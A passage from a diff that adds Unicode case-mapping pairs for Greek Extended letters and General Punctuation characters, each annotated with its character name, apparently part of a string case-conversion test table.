+ ["\u1F2F", "\u1F27"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI */
+ ["\u1F38", "\u1F30"], /* GREEK SMALL LETTER IOTA WITH PSILI */
+ ["\u1F39", "\u1F31"], /* GREEK SMALL LETTER IOTA WITH DASIA */
+ ["\u1F3A", "\u1F32"], /* GREEK SMALL LETTER IOTA WITH PSILI AND VARIA */
+ ["\u1F3B", "\u1F33"], /* GREEK SMALL LETTER IOTA WITH DASIA AND VARIA */
+ ["\u1F3C", "\u1F34"], /* GREEK SMALL LETTER IOTA WITH PSILI AND OXIA */
+ ["\u1F3D", "\u1F35"], /* GREEK SMALL LETTER IOTA WITH DASIA AND OXIA */
+ ["\u1F3E", "\u1F36"], /* GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI */
+ ["\u1F3F", "\u1F37"], /* GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI */
+ ["\u1F38", "\u1F30"], /* GREEK CAPITAL LETTER IOTA WITH PSILI */
+ ["\u1F39", "\u1F31"], /* GREEK CAPITAL LETTER IOTA WITH DASIA */
+ ["\u1F3A", "\u1F32"], /* GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA */
+ ["\u1F3B", "\u1F33"], /* GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA */
+ ["\u1F3C", "\u1F34"], /* GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA */
+ ["\u1F3D", "\u1F35"], /* GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA */
+ ["\u1F3E", "\u1F36"], /* GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI */
+ ["\u1F3F", "\u1F37"], /* GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI */
+ ["\u1F48", "\u1F40"], /* GREEK SMALL LETTER OMICRON WITH PSILI */
+ ["\u1F49", "\u1F41"], /* GREEK SMALL LETTER OMICRON WITH DASIA */
+ ["\u1F4A", "\u1F42"], /* GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA */
+ ["\u1F4B", "\u1F43"], /* GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA */
+ ["\u1F4C", "\u1F44"], /* GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA */
+ ["\u1F4D", "\u1F45"], /* GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA */
+ ["\u1F46", "\u1F46"],
+ ["\u1F47", "\u1F47"],
+ ["\u1F48", "\u1F40"], /* GREEK CAPITAL LETTER OMICRON WITH PSILI */
+ ["\u1F49", "\u1F41"], /* GREEK CAPITAL LETTER OMICRON WITH DASIA */
+ ["\u1F4A", "\u1F42"], /* GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA */
+ ["\u1F4B", "\u1F43"], /* GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA */
+ ["\u1F4C", "\u1F44"], /* GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA */
+ ["\u1F4D", "\u1F45"], /* GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA */
+ ["\u1F4E", "\u1F4E"],
+ ["\u1F4F", "\u1F4F"],
+ ["\u03A5\u0313", "\u1F50"], /* GREEK SMALL LETTER UPSILON WITH PSILI */
+ ["\u1F59", "\u1F51"], /* GREEK SMALL LETTER UPSILON WITH DASIA */
+ ["\u03A5\u0313\u0300", "\u1F52"], /* GREEK SMALL LETTER UPSILON WITH PSILI AND VARIA */
+ ["\u1F5B", "\u1F53"], /* GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA */
+ ["\u03A5\u0313\u0301", "\u1F54"], /* GREEK SMALL LETTER UPSILON WITH PSILI AND OXIA */
+ ["\u1F5D", "\u1F55"], /* GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA */
+ ["\u03A5\u0313\u0342", "\u1F56"], /* GREEK SMALL LETTER UPSILON WITH PSILI AND PERISPOMENI */
+ ["\u1F5F", "\u1F57"], /* GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI */
+ ["\u1F58", "\u1F58"],
+ ["\u1F59", "\u1F51"], /* GREEK CAPITAL LETTER UPSILON WITH DASIA */
+ ["\u1F5A", "\u1F5A"],
+ ["\u1F5B", "\u1F53"], /* GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA */
+ ["\u1F5C", "\u1F5C"],
+ ["\u1F5D", "\u1F55"], /* GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA */
+ ["\u1F5E", "\u1F5E"],
+ ["\u1F5F", "\u1F57"], /* GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI */
+ ["\u1F68", "\u1F60"], /* GREEK SMALL LETTER OMEGA WITH PSILI */
+ ["\u1F69", "\u1F61"], /* GREEK SMALL LETTER OMEGA WITH DASIA */
+ ["\u1F6A", "\u1F62"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA */
+ ["\u1F6B", "\u1F63"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA */
+ ["\u1F6C", "\u1F64"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA */
+ ["\u1F6D", "\u1F65"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA */
+ ["\u1F6E", "\u1F66"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI */
+ ["\u1F6F", "\u1F67"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI */
+ ["\u1F68", "\u1F60"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI */
+ ["\u1F69", "\u1F61"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA */
+ ["\u1F6A", "\u1F62"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA */
+ ["\u1F6B", "\u1F63"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA */
+ ["\u1F6C", "\u1F64"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA */
+ ["\u1F6D", "\u1F65"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA */
+ ["\u1F6E", "\u1F66"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI */
+ ["\u1F6F", "\u1F67"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI */
+ ["\u1FBA", "\u1F70"], /* GREEK SMALL LETTER ALPHA WITH VARIA */
+ ["\u1FBB", "\u1F71"], /* GREEK SMALL LETTER ALPHA WITH OXIA */
+ ["\u1FC8", "\u1F72"], /* GREEK SMALL LETTER EPSILON WITH VARIA */
+ ["\u1FC9", "\u1F73"], /* GREEK SMALL LETTER EPSILON WITH OXIA */
+ ["\u1FCA", "\u1F74"], /* GREEK SMALL LETTER ETA WITH VARIA */
+ ["\u1FCB", "\u1F75"], /* GREEK SMALL LETTER ETA WITH OXIA */
+ ["\u1FDA", "\u1F76"], /* GREEK SMALL LETTER IOTA WITH VARIA */
+ ["\u1FDB", "\u1F77"], /* GREEK SMALL LETTER IOTA WITH OXIA */
+ ["\u1FF8", "\u1F78"], /* GREEK SMALL LETTER OMICRON WITH VARIA */
+ ["\u1FF9", "\u1F79"], /* GREEK SMALL LETTER OMICRON WITH OXIA */
+ ["\u1FEA", "\u1F7A"], /* GREEK SMALL LETTER UPSILON WITH VARIA */
+ ["\u1FEB", "\u1F7B"], /* GREEK SMALL LETTER UPSILON WITH OXIA */
+ ["\u1FFA", "\u1F7C"], /* GREEK SMALL LETTER OMEGA WITH VARIA */
+ ["\u1FFB", "\u1F7D"], /* GREEK SMALL LETTER OMEGA WITH OXIA */
+ ["\u1F7E", "\u1F7E"],
+ ["\u1F7F", "\u1F7F"],
+ ["\u1F08\u0399", "\u1F80"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI */
+ ["\u1F09\u0399", "\u1F81"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI */
+ ["\u1F0A\u0399", "\u1F82"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F0B\u0399", "\u1F83"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F0C\u0399", "\u1F84"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F0D\u0399", "\u1F85"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F0E\u0399", "\u1F86"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F0F\u0399", "\u1F87"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F08\u0399", "\u1F80"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI */
+ ["\u1F09\u0399", "\u1F81"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI */
+ ["\u1F0A\u0399", "\u1F82"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F0B\u0399", "\u1F83"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F0C\u0399", "\u1F84"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F0D\u0399", "\u1F85"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F0E\u0399", "\u1F86"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F0F\u0399", "\u1F87"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F28\u0399", "\u1F90"], /* GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI */
+ ["\u1F29\u0399", "\u1F91"], /* GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI */
+ ["\u1F2A\u0399", "\u1F92"], /* GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F2B\u0399", "\u1F93"], /* GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F2C\u0399", "\u1F94"], /* GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F2D\u0399", "\u1F95"], /* GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F2E\u0399", "\u1F96"], /* GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F2F\u0399", "\u1F97"], /* GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F28\u0399", "\u1F90"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI */
+ ["\u1F29\u0399", "\u1F91"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI */
+ ["\u1F2A\u0399", "\u1F92"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F2B\u0399", "\u1F93"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F2C\u0399", "\u1F94"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F2D\u0399", "\u1F95"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F2E\u0399", "\u1F96"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F2F\u0399", "\u1F97"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F68\u0399", "\u1FA0"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI */
+ ["\u1F69\u0399", "\u1FA1"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI */
+ ["\u1F6A\u0399", "\u1FA2"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F6B\u0399", "\u1FA3"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI */
+ ["\u1F6C\u0399", "\u1FA4"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F6D\u0399", "\u1FA5"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI */
+ ["\u1F6E\u0399", "\u1FA6"], /* GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F6F\u0399", "\u1FA7"], /* GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1F68\u0399", "\u1FA0"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI */
+ ["\u1F69\u0399", "\u1FA1"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI */
+ ["\u1F6A\u0399", "\u1FA2"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F6B\u0399", "\u1FA3"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI */
+ ["\u1F6C\u0399", "\u1FA4"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F6D\u0399", "\u1FA5"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI */
+ ["\u1F6E\u0399", "\u1FA6"], /* GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1F6F\u0399", "\u1FA7"], /* GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI */
+ ["\u1FB8", "\u1FB0"], /* GREEK SMALL LETTER ALPHA WITH VRACHY */
+ ["\u1FB9", "\u1FB1"], /* GREEK SMALL LETTER ALPHA WITH MACRON */
+ ["\u1FBA\u0399", "\u1FB2"], /* GREEK SMALL LETTER ALPHA WITH VARIA AND YPOGEGRAMMENI */
+ ["\u0391\u0399", "\u1FB3"], /* GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI */
+ ["\u0386\u0399", "\u1FB4"], /* GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI */
+ ["\u1FB5", "\u1FB5"],
+ ["\u0391\u0342", "\u1FB6"], /* GREEK SMALL LETTER ALPHA WITH PERISPOMENI */
+ ["\u0391\u0342\u0399", "\u1FB7"], /* GREEK SMALL LETTER ALPHA WITH PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1FB8", "\u1FB0"], /* GREEK CAPITAL LETTER ALPHA WITH VRACHY */
+ ["\u1FB9", "\u1FB1"], /* GREEK CAPITAL LETTER ALPHA WITH MACRON */
+ ["\u1FBA", "\u1F70"], /* GREEK CAPITAL LETTER ALPHA WITH VARIA */
+ ["\u1FBB", "\u1F71"], /* GREEK CAPITAL LETTER ALPHA WITH OXIA */
+ ["\u0391\u0399", "\u1FB3"], /* GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI */
+ ["\u1FBD", "\u1FBD"], /* GREEK KORONIS */
+ ["\u0399", "\u1FBE"], /* GREEK PROSGEGRAMMENI */
+ ["\u1FBF", "\u1FBF"], /* GREEK PSILI */
+ ["\u1FC0", "\u1FC0"], /* GREEK PERISPOMENI */
+ ["\u1FC1", "\u1FC1"], /* GREEK DIALYTIKA AND PERISPOMENI */
+ ["\u1FCA\u0399", "\u1FC2"], /* GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI */
+ ["\u0397\u0399", "\u1FC3"], /* GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI */
+ ["\u0389\u0399", "\u1FC4"], /* GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI */
+ ["\u1FC5", "\u1FC5"],
+ ["\u0397\u0342", "\u1FC6"], /* GREEK SMALL LETTER ETA WITH PERISPOMENI */
+ ["\u0397\u0342\u0399", "\u1FC7"], /* GREEK SMALL LETTER ETA WITH PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1FC8", "\u1F72"], /* GREEK CAPITAL LETTER EPSILON WITH VARIA */
+ ["\u1FC9", "\u1F73"], /* GREEK CAPITAL LETTER EPSILON WITH OXIA */
+ ["\u1FCA", "\u1F74"], /* GREEK CAPITAL LETTER ETA WITH VARIA */
+ ["\u1FCB", "\u1F75"], /* GREEK CAPITAL LETTER ETA WITH OXIA */
+ ["\u0397\u0399", "\u1FC3"], /* GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI */
+ ["\u1FCD", "\u1FCD"], /* GREEK PSILI AND VARIA */
+ ["\u1FCE", "\u1FCE"], /* GREEK PSILI AND OXIA */
+ ["\u1FCF", "\u1FCF"], /* GREEK PSILI AND PERISPOMENI */
+ ["\u1FD8", "\u1FD0"], /* GREEK SMALL LETTER IOTA WITH VRACHY */
+ ["\u1FD9", "\u1FD1"], /* GREEK SMALL LETTER IOTA WITH MACRON */
+ ["\u0399\u0308\u0300", "\u1FD2"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND VARIA */
+ ["\u0399\u0308\u0301", "\u1FD3"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA */
+ ["\u1FD4", "\u1FD4"],
+ ["\u1FD5", "\u1FD5"],
+ ["\u0399\u0342", "\u1FD6"], /* GREEK SMALL LETTER IOTA WITH PERISPOMENI */
+ ["\u0399\u0308\u0342", "\u1FD7"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND PERISPOMENI */
+ ["\u1FD8", "\u1FD0"], /* GREEK CAPITAL LETTER IOTA WITH VRACHY */
+ ["\u1FD9", "\u1FD1"], /* GREEK CAPITAL LETTER IOTA WITH MACRON */
+ ["\u1FDA", "\u1F76"], /* GREEK CAPITAL LETTER IOTA WITH VARIA */
+ ["\u1FDB", "\u1F77"], /* GREEK CAPITAL LETTER IOTA WITH OXIA */
+ ["\u1FDC", "\u1FDC"],
+ ["\u1FDD", "\u1FDD"], /* GREEK DASIA AND VARIA */
+ ["\u1FDE", "\u1FDE"], /* GREEK DASIA AND OXIA */
+ ["\u1FDF", "\u1FDF"], /* GREEK DASIA AND PERISPOMENI */
+ ["\u1FE8", "\u1FE0"], /* GREEK SMALL LETTER UPSILON WITH VRACHY */
+ ["\u1FE9", "\u1FE1"], /* GREEK SMALL LETTER UPSILON WITH MACRON */
+ ["\u03A5\u0308\u0300", "\u1FE2"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND VARIA */
+ ["\u03A5\u0308\u0301", "\u1FE3"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA */
+ ["\u03A1\u0313", "\u1FE4"], /* GREEK SMALL LETTER RHO WITH PSILI */
+ ["\u1FEC", "\u1FE5"], /* GREEK SMALL LETTER RHO WITH DASIA */
+ ["\u03A5\u0342", "\u1FE6"], /* GREEK SMALL LETTER UPSILON WITH PERISPOMENI */
+ ["\u03A5\u0308\u0342", "\u1FE7"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND PERISPOMENI */
+ ["\u1FE8", "\u1FE0"], /* GREEK CAPITAL LETTER UPSILON WITH VRACHY */
+ ["\u1FE9", "\u1FE1"], /* GREEK CAPITAL LETTER UPSILON WITH MACRON */
+ ["\u1FEA", "\u1F7A"], /* GREEK CAPITAL LETTER UPSILON WITH VARIA */
+ ["\u1FEB", "\u1F7B"], /* GREEK CAPITAL LETTER UPSILON WITH OXIA */
+ ["\u1FEC", "\u1FE5"], /* GREEK CAPITAL LETTER RHO WITH DASIA */
+ ["\u1FED", "\u1FED"], /* GREEK DIALYTIKA AND VARIA */
+ ["\u1FEE", "\u1FEE"], /* GREEK DIALYTIKA AND OXIA */
+ ["\u1FEF", "\u1FEF"], /* GREEK VARIA */
+ ["\u1FF0", "\u1FF0"],
+ ["\u1FF1", "\u1FF1"],
+ ["\u1FFA\u0399", "\u1FF2"], /* GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI */
+ ["\u03A9\u0399", "\u1FF3"], /* GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI */
+ ["\u038F\u0399", "\u1FF4"], /* GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI */
+ ["\u1FF5", "\u1FF5"],
+ ["\u03A9\u0342", "\u1FF6"], /* GREEK SMALL LETTER OMEGA WITH PERISPOMENI */
+ ["\u03A9\u0342\u0399", "\u1FF7"], /* GREEK SMALL LETTER OMEGA WITH PERISPOMENI AND YPOGEGRAMMENI */
+ ["\u1FF8", "\u1F78"], /* GREEK CAPITAL LETTER OMICRON WITH VARIA */
+ ["\u1FF9", "\u1F79"], /* GREEK CAPITAL LETTER OMICRON WITH OXIA */
+ ["\u1FFA", "\u1F7C"], /* GREEK CAPITAL LETTER OMEGA WITH VARIA */
+ ["\u1FFB", "\u1F7D"], /* GREEK CAPITAL LETTER OMEGA WITH OXIA */
+ ["\u03A9\u0399", "\u1FF3"], /* GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI */
+ ["\u1FFD", "\u1FFD"], /* GREEK OXIA */
+ ["\u1FFE", "\u1FFE"], /* GREEK DASIA */
+ ["\u1FFF", "\u1FFF"],
+ ["\u2000", "\u2000"], /* EN QUAD */
+ ["\u2001", "\u2001"], /* EM QUAD */
+ ["\u2002", "\u2002"], /* EN SPACE */
+ ["\u2003", "\u2003"], /* EM SPACE */
+ ["\u2004", "\u2004"], /* THREE-PER-EM SPACE */
+ ["\u2005", "\u2005"], /* FOUR-PER-EM SPACE */
+ ["\u2006", "\u2006"], /* SIX-PER-EM SPACE */
+ ["\u2007", "\u2007"], /* FIGURE SPACE */
+ ["\u2008", "\u2008"], /* PUNCTUATION SPACE */
+ ["\u2009", "\u2009"], /* THIN SPACE */
+ ["\u200A", "\u200A"], /* HAIR SPACE */
+ ["\u200B", "\u200B"], /* ZERO WIDTH SPACE */
+ ["\u200C", "\u200C"], /* ZERO WIDTH NON-JOINER */
+ ["\u200D", "\u200D"], /* ZERO WIDTH JOINER */
+ ["\u200E", "\u200E"], /* LEFT-TO-RIGHT MARK */
+ ["\u200F", "\u200F"], /* RIGHT-TO-LEFT MARK */
+ ["\u2010", "\u2010"], /* HYPHEN */
+ ["\u2011", "\u2011"], /* NON-BREAKING HYPHEN */
+ ["\u2012", "\u2012"], /* FIGURE DASH */
+ ["\u2013", "\u2013"], /* EN DASH */
+ ["\u2014", "\u2014"], /* EM DASH */
+ ["\u2015", "\u2015"], /* HORIZONTAL BAR (QUOTATION DASH) */
+ ["\u2016", "\u2016"], /* DOUBLE VERTICAL LINE (DOUBLE VERTICAL BAR) */
+ ["\u2017", "\u2017"], /* DOUBLE LOW LINE (SPACING DOUBLE UNDERSCORE) */
+ ["\u2018", "\u2018"], /* LEFT SINGLE QUOTATION MARK (SINGLE TURNED COMMA QUOTATION MARK) */
+ ["\u2019", "\u2019"], /* RIGHT SINGLE QUOTATION MARK (SINGLE COMMA QUOTATION MARK) */
+ ["\u201A", "\u201A"], /* SINGLE LOW-9 QUOTATION MARK (LOW SINGLE COMMA QUOTATION MARK) */
+ ["\u201B", "\u201B"], /* SINGLE HIGH-REVERSED-9 QUOTATION MARK (SINGLE REVERSED COMMA QUOTATION MARK) */
+ ["\u201C", "\u201C"], /* LEFT DOUBLE QUOTATION MARK (DOUBLE TURNED COMMA QUOTATION MARK) */
+ ["\u201D", "\u201D"], /* RIGHT DOUBLE QUOTATION MARK (DOUBLE COMMA QUOTATION MARK) */
+ ["\u201E", "\u201E"], /* DOUBLE LOW-9 QUOTATION MARK (LOW DOUBLE COMMA QUOTATION MARK) */
+ ["\u201F", "\u201F"], /* DOUBLE HIGH-REVERSED-9 QUOTATION MARK (DOUBLE REVERSED COMMA QUOTATION MARK) */
+ ["\u2020", "\u2020"], /* DAGGER */
+ ["\u2021", "\u2021"], /* DOUBLE DAGGER */
+ ["\u2022", "\u2022"], /* BULLET */
+ ["\u2023", "\u2023"], /* TRIANGULAR BULLET */
+ ["\u2024", "\u2024"], /* ONE DOT LEADER */
+ ["\u2025", "\u2025"], /* TWO DOT LEADER */
+ ["\u2026", "\u2026"], /* HORIZONTAL ELLIPSIS */
+ ["\u2027", "\u2027"], /* HYPHENATION POINT */
+ ["\u2028", "\u2028"], /* LINE SEPARATOR */
+ ["\u2029", "\u2029"], /* PARAGRAPH SEPARATOR */
+ ["\u202A", "\u202A"], /* LEFT-TO-RIGHT EMBEDDING */
+ ["\u202B", "\u202B"], /* RIGHT-TO-LEFT EMBEDDING */
+ ["\u202C", "\u202C"], /* POP DIRECTIONAL FORMATTING */
+ ["\u202D", "\u202D"], /* LEFT-TO-RIGHT OVERRIDE */
+ ["\u202E", "\u202E"], /* RIGHT-TO-LEFT OVERRIDE */
+ ["\u202F", "\u202F"], /* NARROW NO-BREAK SPACE */
+ ["\u2030", "\u2030"], /* PER MILLE SIGN */
+ ["\u2031", "\u2031"], /* PER TEN THOUSAND SIGN */
+ ["\u2032", "\u2032"], /* PRIME */
+ ["\u2033", "\u2033"], /* DOUBLE PRIME */
+ ["\u2034", "\u2034"], /* TRIPLE PRIME */
+ ["\u2035", "\u2035"], /* REVERSED PRIME */
+ ["\u2036", "\u2036"], /* REVERSED DOUBLE PRIME */
+ ["\u2037", "\u2037"], /* REVERSED TRIPLE PRIME */
+ ["\u2038", "\u2038"], /* CARET */
+ ["\u2039", "\u2039"], /* SINGLE LEFT-POINTING ANGLE QUOTATION MARK (LEFT POINTING SINGLE GUILLEMET) */
+ ["\u203A", "\u203A"], /* SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (RIGHT POINTING SINGLE GUILLEMET) */
+ ["\u203B", "\u203B"], /* REFERENCE MARK */
+ ["\u203C", "\u203C"], /* DOUBLE EXCLAMATION MARK */
+ ["\u203D", "\u203D"], /* INTERROBANG */
+ ["\u203E", "\u203E"], /* OVERLINE (SPACING OVERSCORE) */
+ ["\u203F", "\u203F"], /* UNDERTIE */
+ ["\u2040", "\u2040"], /* CHARACTER TIE */
+ ["\u2041", "\u2041"], /* CARET INSERTION POINT */
+ ["\u2042", "\u2042"], /* ASTERISM */
+ ["\u2043", "\u2043"], /* HYPHEN BULLET */
+ ["\u2044", "\u2044"], /* FRACTION SLASH */
+ ["\u2045", "\u2045"], /* LEFT SQUARE BRACKET WITH QUILL */
+ ["\u2046", "\u2046"], /* RIGHT SQUARE BRACKET WITH QUILL */
+ ["\u2047", "\u2047"], /* DOUBLE QUESTION MARK */
+ ["\u2048", "\u2048"], /* QUESTION EXCLAMATION MARK */
+ ["\u2049", "\u2049"], /* EXCLAMATION QUESTION MARK */
+ ["\u204A", "\u204A"], /* TIRONIAN SIGN ET */
+ ["\u204B", "\u204B"], /* REVERSED PILCROW SIGN */
+ ["\u204C", "\u204C"], /* BLACK LEFTWARDS BULLET */
+ ["\u204D", "\u204D"], /* BLACK RIGHTWARDS BULLET */
+ ["\u204E", "\u204E"], /* LOW ASTERISK */
+ ["\u204F", "\u204F"], /* REVERSED SEMICOLON */
+ ["\u2050", "\u2050"], /* CLOSE UP */
+ ["\u2051", "\u2051"], /* TWO ASTERISKS ALIGNED VERTICALLY */
+ ["\u2052", "\u2052"], /* COMMERCIAL MINUS SIGN */
+ ["\u2053", "\u2053"], /* SWUNG DASH */
+ ["\u2054", "\u2054"], /* INVERTED UNDERTIE */
+ ["\u2055", "\u2055"], /* FLOWER PUNCTUATION MARK */
+ ["\u2056", "\u2056"], /* THREE DOT PUNCTUATION */
+ ["\u2057", "\u2057"], /* QUADRUPLE PRIME */
+ ["\u2058", "\u2058"], /* FOUR DOT PUNCTUATION */
+ ["\u2059", "\u2059"], /* FIVE DOT PUNCTUATION */
+ ["\u205A", "\u205A"], /* TWO DOT PUNCTUATION */
+ ["\u205B", "\u205B"], /* FOUR DOT MARK */
+ ["\u205C", "\u205C"], /* DOTTED CROSS */
+ ["\u205D", "\u205D"], /* TRICOLON */
+ ["\u205E", "\u205E"], /* VERTICAL FOUR DOTS */
+ ["\u205F", "\u205F"], /* MEDIUM MATHEMATICAL SPACE */
+ ["\u2060", "\u2060"], /* WORD JOINER */
+ ["\u2061", "\u2061"], /* FUNCTION APPLICATION */
+ ["\u2062", "\u2062"], /* INVISIBLE TIMES */
+ ["\u2063", "\u2063"], /* INVISIBLE SEPARATOR */
+ ["\u2064", "\u2064"], /* INVISIBLE PLUS */
+ ["\u2065", "\u2065"],
+ ["\u2066", "\u2066"], /* LEFT-TO-RIGHT ISOLATE */
+ ["\u2067", "\u2067"], /* RIGHT-TO-LEFT ISOLATE */
+ ["\u2068", "\u2068"], /* FIRST STRONG ISOLATE */
+ ["\u2069", "\u2069"], /* POP DIRECTIONAL ISOLATE */
+ ["\u206A", "\u206A"], /* INHIBIT SYMMETRIC SWAPPING */
+ ["\u206B", "\u206B"], /* ACTIVATE SYMMETRIC SWAPPING */
